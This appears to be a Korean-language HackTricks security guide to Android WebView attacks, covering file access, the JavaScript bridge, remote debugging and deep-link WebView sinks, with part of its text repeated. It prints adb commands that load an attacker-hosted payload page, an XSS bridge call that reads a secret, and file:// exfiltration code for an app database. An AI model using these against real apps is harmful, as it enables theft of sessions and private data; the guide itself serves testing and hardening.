WebView ๊ณต๊ฒฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

WebView ๊ตฌ์„ฑ ๋ฐ ๋ณด์•ˆ ๊ฐ€์ด๋“œ

WebView ์ทจ์•ฝ์  ๊ฐœ์š”

Android ๊ฐœ๋ฐœ์—์„œ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์€ WebView์˜ ์˜ฌ๋ฐ”๋ฅธ ์ฒ˜๋ฆฌ์ž…๋‹ˆ๋‹ค. ์ด ๊ฐ€์ด๋“œ๋Š” WebView ์‚ฌ์šฉ๊ณผ ๊ด€๋ จ๋œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์ฃผ์š” ๊ตฌ์„ฑ ๋ฐ ๋ณด์•ˆ ๊ด€ํ–‰์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

WebView ์˜ˆ์‹œ

WebView์˜ ํŒŒ์ผ ์ ‘๊ทผ

๊ธฐ๋ณธ์ ์œผ๋กœ WebView๋Š” ํŒŒ์ผ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ Android API ๋ ˆ๋ฒจ 3(Cupcake 1.5)๋ถ€ํ„ฐ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ setAllowFileAccess() ๋ฉ”์„œ๋“œ๋กœ ์ œ์–ด๋ฉ๋‹ˆ๋‹ค. android.permission.READ_EXTERNAL_STORAGE ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํŒŒ์ผ URL ์Šคํ‚ด(file://path/to/file)์„ ํ†ตํ•ด ์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š” ๊ธฐ๋Šฅ: ํŒŒ์ผ URL์—์„œ์˜ Universal ๋ฐ File Access

  • Universal Access From File URLs: ์ด ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š” ๊ธฐ๋Šฅ์€ ํŒŒ์ผ URL๋กœ๋ถ€ํ„ฐ์˜ ํฌ๋กœ์Šค ์˜ค๋ฆฌ์ง„ ์š”์ฒญ์„ ํ—ˆ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์ธ XSS ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•ด ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค. Android Jelly Bean ์ด์ƒ์„ ํƒ€๊นƒ์œผ๋กœ ํ•˜๋Š” ์•ฑ์˜ ๊ธฐ๋ณธ ์„ค์ •์€ ๋น„ํ™œ์„ฑํ™”(false)์ž…๋‹ˆ๋‹ค.
  • ์ด ์„ค์ •์„ ํ™•์ธํ•˜๋ ค๋ฉด getAllowUniversalAccessFromFileURLs()๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์ด ์„ค์ •์„ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด setAllowUniversalAccessFromFileURLs(boolean)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • File Access From File URLs: ์ด ๊ธฐ๋Šฅ๋„ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ ๋‹ค๋ฅธ file ์Šคํ‚ด URL์˜ ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ์–ดํ–ˆ์Šต๋‹ˆ๋‹ค. Universal access์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋ณด์•ˆ ๊ฐ•ํ™”๋ฅผ ์œ„ํ•ด ๊ธฐ๋ณธ๊ฐ’์€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ™•์ธ์€ getAllowFileAccessFromFileURLs()๋กœ ํ•˜๊ณ  ์„ค์ •์€ setAllowFileAccessFromFileURLs(boolean)๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์•ˆ์ „ํ•œ ํŒŒ์ผ ๋กœ๋”ฉ

ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด์„œ assets ๋ฐ resources์— ์ ‘๊ทผํ•˜๋ ค๋ฉด setAllowFileAccess() ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Android R ์ด์ƒ์—์„œ๋Š” ๊ธฐ๋ณธ ์„ค์ •์ด false์ž…๋‹ˆ๋‹ค.

  • ํ™•์ธ์€ getAllowFileAccess()๋กœ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ™œ์„ฑํ™”/๋น„ํ™œ์„ฑํ™”๋Š” setAllowFileAccess(boolean)๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

WebViewAssetLoader

WebViewAssetLoader ํด๋ž˜์Šค๋Š” ๋กœ์ปฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ํ˜„๋Œ€์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ๋กœ์ปฌ assets ๋ฐ ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ์— http(s) URL์„ ์‚ฌ์šฉํ•˜๋ฉฐ, Same-Origin ์ •์ฑ…๊ณผ ์ผ์น˜ํ•˜๋ฏ€๋กœ CORS ๊ด€๋ฆฌ๋ฅผ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

loadUrl

์ด ํ•จ์ˆ˜๋Š” WebView์—์„œ ์ž„์˜์˜ URL์„ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

webview.loadUrl("<url here>")

๋ฌผ๋ก , ์ž ์žฌ์ ์ธ ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋กœ๋“œํ•  URL์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์–ด์„œ๋Š” ์•ˆ ๋œ๋‹ค.

JavaScript ๋ฐ Intent Scheme ์ฒ˜๋ฆฌ

  • JavaScript: WebViews์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, setJavaScriptEnabled()๋กœ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ ์ ˆํ•œ ๋ณดํ˜ธ ์žฅ์น˜ ์—†์ด JavaScript๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค.
  • Intent Scheme: WebViews๋Š” intent ์Šคํ‚ด์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์‹ ์ค‘ํ•˜๊ฒŒ ๊ด€๋ฆฌ๋˜์ง€ ์•Š์œผ๋ฉด ์ต์Šคํ”Œ๋กœ์ž‡์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์‹œ ์ทจ์•ฝ์ ์œผ๋กœ๋Š” ๋…ธ์ถœ๋œ WebView ํŒŒ๋ผ๋ฏธํ„ฐ โ€œsupport_urlโ€œ์„ ์ด์šฉํ•ด XSS ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์—ˆ๋‹ค.

Vulnerable WebView

adb๋ฅผ ์‚ฌ์šฉํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView โ€“es support_url "https://example.com/xss.html"

Javascript Bridge

Android๋Š” WebView ๋‚ด์˜ JavaScript๊ฐ€ ๋„ค์ดํ‹ฐ๋ธŒ Android ์•ฑ ๊ธฐ๋Šฅ์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” addJavascriptInterface ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด JavaScript์™€ ๋„ค์ดํ‹ฐ๋ธŒ Android ๊ธฐ๋Šฅ์„ ํ†ตํ•ฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ, _WebView JavaScript bridge_๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ WebView ๋‚ด์˜ ๋ชจ๋“  ํŽ˜์ด์ง€๊ฐ€ ๋“ฑ๋ก๋œ JavaScript Interface ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ด๋Ÿฌํ•œ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ†ตํ•ด ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋  ๊ฒฝ์šฐ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • Android 4.2 ๋ฏธ๋งŒ์„ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ์•ฑ์€ reflection์„ ์•…์šฉํ•œ ์•…์„ฑ JavaScript๋ฅผ ํ†ตํ•ด remote code execution์ด ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋ฏ€๋กœ ๊ฐ๋ณ„ํ•œ ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Implementing a JavaScript Bridge

  • JavaScript interfaces๋Š” ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๋ฅผ JavaScript์— ๋…ธ์ถœํ•˜๋Š” ์˜ˆ์ œ์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge๋Š” WebView์— ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript๋ฅผ ํ†ตํ•œ ์ž ์žฌ์  ์•…์šฉ(์˜ˆ: XSS ๊ณต๊ฒฉ)์€ ๋…ธ์ถœ๋œ Java ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค:
<script>
alert(javascriptBridge.getSecret())
</script>
  • ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๋ ค๋ฉด, restrict JavaScript bridge usage๋ฅผ APK์— ๋ฒˆ๋“ค๋œ ์ฝ”๋“œ๋กœ๋งŒ ์ œํ•œํ•˜๊ณ  ์›๊ฒฉ ์†Œ์Šค์—์„œ์˜ JavaScript ๋กœ๋“œ๋ฅผ ์ฐจ๋‹จํ•˜์„ธ์š”. ๊ตฌํ˜• ๊ธฐ๊ธฐ์˜ ๊ฒฝ์šฐ ์ตœ์†Œ API level์„ 17๋กœ ์„ค์ •ํ•˜์„ธ์š”.

Reflection-based Remote Code Execution (RCE)

  • ๋ฌธ์„œํ™”๋œ ๋ฐฉ๋ฒ•์œผ๋กœ ํŠน์ • payload๋ฅผ ์‹คํ–‰ํ•ด reflection์„ ํ†ตํ•ด RCE๋ฅผ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ @JavascriptInterface ์–ด๋…ธํ…Œ์ด์…˜์ด ๋ฌด๋‹จ ๋ฉ”์„œ๋“œ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜์—ฌ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

Remote Debugging

  • Remote debugging๋Š” Chrome Developer Tools๋กœ ๊ฐ€๋Šฅํ•˜๋ฉฐ, WebView ์ฝ˜ํ…์ธ  ๋‚ด์—์„œ ์ƒํ˜ธ์ž‘์šฉ ๋ฐ ์ž„์˜์˜ JavaScript ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

Enabling Remote Debugging

  • Remote debugging๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด ๋ชจ๋“  WebViews์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ debuggable ์ƒํƒœ์— ๋”ฐ๋ผ debugging์„ ์กฐ๊ฑด๋ถ€๋กœ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate ์ž„์˜์˜ ํŒŒ์ผ

  • XMLHttpRequest๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ํŒŒ์ผ์˜ exfiltration์„ ์‹œ์—ฐํ•ฉ๋‹ˆ๋‹ค:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview ๊ณต๊ฒฉ

WebView ๊ตฌ์„ฑ ๋ฐ ๋ณด์•ˆ ๊ฐ€์ด๋“œ

WebView ์ทจ์•ฝ์  ๊ฐœ์š”

Android ๊ฐœ๋ฐœ์—์„œ ์ค‘์š”ํ•œ ๋ถ€๋ถ„ ์ค‘ ํ•˜๋‚˜๋Š” WebView๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋‹ค๋ฃจ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๊ฐ€์ด๋“œ๋Š” WebView ์‚ฌ์šฉ๊ณผ ๊ด€๋ จ๋œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์ฃผ์š” ์„ค์ •๊ณผ ๋ณด์•ˆ ๊ด€ํ–‰์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

WebView ์˜ˆ์‹œ

WebViews์—์„œ์˜ ํŒŒ์ผ ์ ‘๊ทผ

๊ธฐ๋ณธ์ ์œผ๋กœ WebView๋Š” ํŒŒ์ผ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ Android API level 3 (Cupcake 1.5)๋ถ€ํ„ฐ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ setAllowFileAccess() ๋ฉ”์„œ๋“œ๋กœ ์ œ์–ด๋ฉ๋‹ˆ๋‹ค. android.permission.READ_EXTERNAL_STORAGE ๊ถŒํ•œ์ด ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํŒŒ์ผ URL ์Šคํ‚ด(file://path/to/file)์„ ์‚ฌ์šฉํ•ด ์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: ์ด ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š” ๊ธฐ๋Šฅ์€ file URL์—์„œ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์„ ํ—ˆ์šฉํ•˜์—ฌ ์ž ์žฌ์ ์ธ XSS ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•ด ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค. Android Jelly Bean ๋ฐ ์ดํ›„๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ์•ฑ์˜ ๊ธฐ๋ณธ ์„ค์ •์€ ๋น„ํ™œ์„ฑํ™”(false)์ž…๋‹ˆ๋‹ค.
  • ์ด ์„ค์ •์„ ํ™•์ธํ•˜๋ ค๋ฉด getAllowUniversalAccessFromFileURLs()๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์ด ์„ค์ •์„ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด setAllowUniversalAccessFromFileURLs(boolean)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • File Access From File URLs: ์ด ๊ธฐ๋Šฅ๋„ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ ๋‹ค๋ฅธ file ์Šคํ‚ด URL์˜ ์ฝ˜ํ…์ธ  ์ ‘๊ทผ์„ ์ œ์–ดํ–ˆ์Šต๋‹ˆ๋‹ค. Universal access์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋ณด์•ˆ์„ ์œ„ํ•ด ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ™•์ธํ•˜๋ ค๋ฉด getAllowFileAccessFromFileURLs()๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์„ค์ •ํ•˜๋ ค๋ฉด setAllowFileAccessFromFileURLs(boolean)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

๋ณด์•ˆ ํŒŒ์ผ ๋กœ๋”ฉ

์ž์‚ฐ(asset)๊ณผ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋ฉด์„œ ํŒŒ์ผ ์‹œ์Šคํ…œ ์ ‘๊ทผ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด setAllowFileAccess() ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Android R ์ด์ƒ์—์„œ๋Š” ๊ธฐ๋ณธ ์„ค์ •์ด false์ž…๋‹ˆ๋‹ค.

  • ํ™•์ธํ•˜๋ ค๋ฉด getAllowFileAccess()๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ํ™œ์„ฑํ™” ๋˜๋Š” ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด setAllowFileAccess(boolean)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

WebViewAssetLoader

WebViewAssetLoader ํด๋ž˜์Šค๋Š” ๋กœ์ปฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ํ˜„๋Œ€์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ๋กœ์ปฌ ์ž์‚ฐ๊ณผ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด http(s) URL์„ ์‚ฌ์šฉํ•˜๋ฉฐ, Same-Origin policy์™€ ์ผ์น˜ํ•˜๋ฏ€๋กœ CORS ๊ด€๋ฆฌ๋ฅผ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

loadUrl

์ด๋Š” ์ž„์˜์˜ URL์„ WebView์— ๋กœ๋“œํ•˜๋Š” ๋ฐ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค:

webview.loadUrl("<url here>")

๋ฌผ๋ก , ์ž ์žฌ์  ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋กœ๋“œํ•  control the URL์„ ์ œ์–ดํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

Deep-linking into internal WebView (custom scheme โ†’ WebView sink)

๋งŽ์€ ์•ฑ์ด custom schemes/paths๋ฅผ ๋“ฑ๋กํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ œ๊ณต URL์„ ์ธ์•ฑ WebView๋กœ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค. deep link๊ฐ€ export๋˜์–ด ์žˆ๊ณ  (VIEW + BROWSABLE)๋ผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์•ฑ์ด ์ž„์˜์˜ ์›๊ฒฉ ์ฝ˜ํ…์ธ ๋ฅผ WebView ์ปจํ…์ŠคํŠธ ์•ˆ์—์„œ ๋ Œ๋”๋งํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Typical manifest pattern (simplified):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

์ผ๋ฐ˜์ ์ธ ์ฝ”๋“œ ํ๋ฆ„(๋‹จ์ˆœํ™”):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

๊ณต๊ฒฉ ํŒจํ„ด ๋ฐ PoC (adb๋ฅผ ํ†ตํ•ด):

# Template โ€“ force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: ์›๊ฒฉ ํŽ˜์ด์ง€๊ฐ€ ์•ฑ WebView ์ปจํ…์ŠคํŠธ์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค (์•ฑ WebView ํ”„๋กœํ•„์˜ ์ฟ ํ‚ค/์„ธ์…˜, ๋…ธ์ถœ๋œ @JavascriptInterface์— ๋Œ€ํ•œ ์ ‘๊ทผ, ์„ค์ •์— ๋”ฐ๋ผ content:// ๋ฐ file://์— ๋Œ€ํ•œ ์ž ์žฌ์  ์ ‘๊ทผ).

Hunting tips:

  • Grep ์—ญ์ปดํŒŒ์ผ๋œ ์†Œ์Šค์—์„œ getQueryParameter("url"), loadUrl(, WebView sinks, ๋ฐ deep-link ํ•ธ๋“ค๋Ÿฌ(onCreate/onNewIntent)๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.
  • manifest์—์„œ VIEW+BROWSABLE ํ•„ํ„ฐ์™€ ๋‚˜์ค‘์— WebView๋ฅผ ์‹œ์ž‘ํ•˜๋Š” ์•กํ‹ฐ๋น„ํ‹ฐ์— ๋งคํ•‘๋˜๋Š” ์ปค์Šคํ…€ ์Šคํ‚ด/ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฒ€ํ† ํ•˜์„ธ์š”.
  • ์—ฌ๋Ÿฌ deep-link ๊ฒฝ๋กœ(์˜ˆ: โ€œexternal browserโ€ ๊ฒฝ๋กœ vs. โ€œinternal webviewโ€ ๊ฒฝ๋กœ)๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์•ฑ ๋‚ด๋ถ€์—์„œ ๋ Œ๋”๋ง๋˜๋Š” ๊ฒฝ๋กœ๋ฅผ ์šฐ์„  ์„ ํƒํ•˜์„ธ์š”.

๊ฒ€์ฆ ์ „์— JavaScript ํ™œ์„ฑํ™” (order-of-checks bug)

์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ํ•˜๋“œ๋‹ ์‹ค์ˆ˜๋Š” ๋Œ€์ƒ URL์˜ ์ตœ์ข… ํ—ˆ์šฉ ๋ชฉ๋ก/๊ฒ€์ฆ์ด ์™„๋ฃŒ๋˜๊ธฐ ์ „์— JavaScript๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๋А์Šจํ•œ WebView ์„ค์ •์„ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ฒ€์ฆ์ด ๋ณด์กฐ ๋กœ์ง๋“ค ์‚ฌ์ด์—์„œ ์ผ๊ด€๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋„ˆ๋ฌด ๋Šฆ๊ฒŒ ๋ฐœ์ƒํ•˜๋ฉด, ๊ณต๊ฒฉ์ž์˜ deep link๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ƒํƒœ์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. WebView ์„ค์ •์ด ์ ์šฉ๋œ๋‹ค(์˜ˆ: setJavaScriptEnabled(true)), ๊ทธ๋ฆฌ๊ณ 
  2. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” URL์ด JavaScript๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ๋กœ ๋กœ๋“œ๋œ๋‹ค.

๋ฒ„๊ทธ ํŒจํ„ด(์˜์‚ฌ ์ฝ”๋“œ):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late โ€“ JS already enabled

// 4) Load
webView.loadUrl(u.toString());

์™œ ์•…์šฉ ๊ฐ€๋Šฅํ•œ๊ฐ€

  • ์ •๊ทœํ™” ๋ถˆ์ผ์น˜: helpers๊ฐ€ URL์„ ๋ถ„๋ฆฌ/์žฌ๊ตฌ์„ฑํ•˜๋Š” ๋ฐฉ์‹์ด ์ตœ์ข… ๊ฒ€์‚ฌ์™€ ๋‹ฌ๋ผ์„œ, ์•…์„ฑ URL์ด ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ถˆ์ผ์น˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ํŒŒ์ดํ”„๋ผ์ธ ์ˆœ์„œ ์˜ค๋ฅ˜: 2๋‹จ๊ณ„์—์„œ JS๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด WebView ์ธ์Šคํ„ด์Šค ์ „์ฒด์— ์ „์—ญ์ ์œผ๋กœ ์ ์šฉ๋˜์–ด, ์ดํ›„ ๊ฒ€์ฆ์ด ์‹คํŒจํ•˜๋”๋ผ๋„ ์ตœ์ข… ๋กœ๋“œ์— ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•

  • ์ดˆ๊ธฐ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜์—ฌ WebView ๊ตฌ์„ฑ ์ง€์ ์— ๋„๋‹ฌํ•˜๋Š” deep-link payloads๋ฅผ ์ œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  • ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” url= ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•˜๋Š” implicit VIEW intents๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด adb๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

